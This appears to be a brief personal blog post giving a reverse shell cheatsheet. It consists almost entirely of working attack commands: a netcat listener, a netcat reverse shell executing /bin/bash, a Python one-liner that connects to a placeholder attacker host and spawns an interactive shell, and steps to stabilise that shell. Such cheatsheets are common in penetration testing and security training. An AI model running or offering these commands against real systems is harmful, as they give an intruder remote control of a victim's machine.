eol's blog

reverse shell cheatsheet

attack server

nc -lvp [port]

target machine

nc :

nc [attacker] [port] -e /bin/bash

python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ATTACK SERVER]",[ATTACK PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

stabilize shell

python3 -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm
[^Z]
stty raw -echo; fg

#Sysadmin #Infosec #Cheatsheet